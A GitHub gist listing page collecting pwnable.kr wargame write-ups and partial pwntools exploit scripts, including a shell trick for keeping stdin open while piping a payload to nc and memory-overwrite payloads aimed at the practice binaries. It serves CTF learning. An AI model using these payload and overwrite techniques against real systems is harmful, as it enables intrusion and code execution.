Skip to content

Instantly share code, notes, and snippets.

@spnow
spnow / stdio_ctf_trick.md
Created March 16, 2017 21:03
ctf trick for persist stdio in pwn
(python -c 'print "payload"'; cat -) | nc pwnable.url
(echo payload; cat) | ./pwnable

cat payload - | ./pwnable

@spnow
spnow / README.MD
Created March 16, 2017 21:02 — forked from mjb940806/README.MD
Pwnable.kr [Toddler's Bottle] Writeup

1. fd

ssh fd@pwnable.kr -p2222 (pw:guest)

🍑 SSH

출처

시큐어 셸(Secure Shell, SSH)는 네트워크 상의 다른 컴퓨터에 로그인하거나 원격 시스템에서 명령을 실행하고 다른 시스템으로 파일을 복사할 수 있도록 해 주는 응용 프로그램 또는 그 프로토콜을 가리킨다. 기존의 rsh, rlogin, 텔넷 등을 대체하기 위해 설계되었으며, 강력한 인증 방법 및 안전하지 못한 네트워크에서 안전하게 통신을 할 수 있는 기능을 제공한다.

@spnow
spnow / README.MD
Created March 16, 2017 21:01 — forked from ihciah/README.MD
Pwnable.kr Toddler's Bottle writeup

Pwnable.kr Toddler's Bottle writeup

ihciah@gmail.com

It has been a long time since I finish(nearly) these problems...

1. fd

In linux, 0 is std_input, 1 is std_output, 2 is std_error_output.

We just need to send LETMEWIN to std_input and set fd to 0 which means (our input - 0x1234) == 0.

from pwn import *

proc = process('alloca')
proc.sendline('-80')
proc.sendline('134525988'+',,,'+'\xab\x85\x04\x08')
proc.interactive()
@spnow
spnow / README.MD
Created March 16, 2017 20:59 — forked from ihciah/README.MD
Pwnable.kr tiny_easy writeup

Pwnable.kr tiny_easy writeup

ihciah@gmail.com

Run the program and it crashed. Load it with gdb-peda, break at entry point and run:

0x8048054:	pop    eax
0x8048055:	pop    edx
0x8048056:	mov    edx,DWORD PTR [edx]
0x8048058:	call   edx
@spnow
spnow / login_exp.py
Created March 16, 2017 20:59 — forked from rickvip/login_exp.py
http://pwnable.kr/ [simple login]
#!/usr/bin/env python
# coding: utf-8
from pwn import *
p = process('./login')
ebp_over = 0x0811EB40
pp_system = 0x08049284
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over))
from pwn import *
sh = remote('pwnable.kr', 9003)
sh.recv(1024)
sh.sendline('AAAA\x78\x92\x04\x08\x40\xeb\x11\x08'.encode('base64'))
a = sh.recv(10000)
a = a.split('\n')
print a[1]
sh.interactive()
@spnow
spnow / README.MD
Created March 16, 2017 20:58 — forked from ihciah/README.MD
Pwnable.kr simple login writeup

Pwnable.kr simple login writeup

ihciah@gmail.com

(Too lazy to review lessons before exam... Load with IDA and found:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
@spnow
spnow / bf_exp.py
Created March 16, 2017 20:58 — forked from rickvip/bf_exp.py
http://pwnable.kr/ [brain fuck]
#!/usr/bin/env python
# coding: utf-8
from pwn import *
# Remote EXP
libc = ELF('./bf_libc.so')
p = remote('pwnable.kr', 9001)
# Local EXP
@spnow
spnow / hash_exp.py
Created March 16, 2017 20:57 — forked from rickvip/hash_exp.py
http://pwnable.kr/ [md5 calculator]
#!/usr/bin/env python
# coding: utf-8
import os
import re
import time
import random
import urllib2
from pwn import *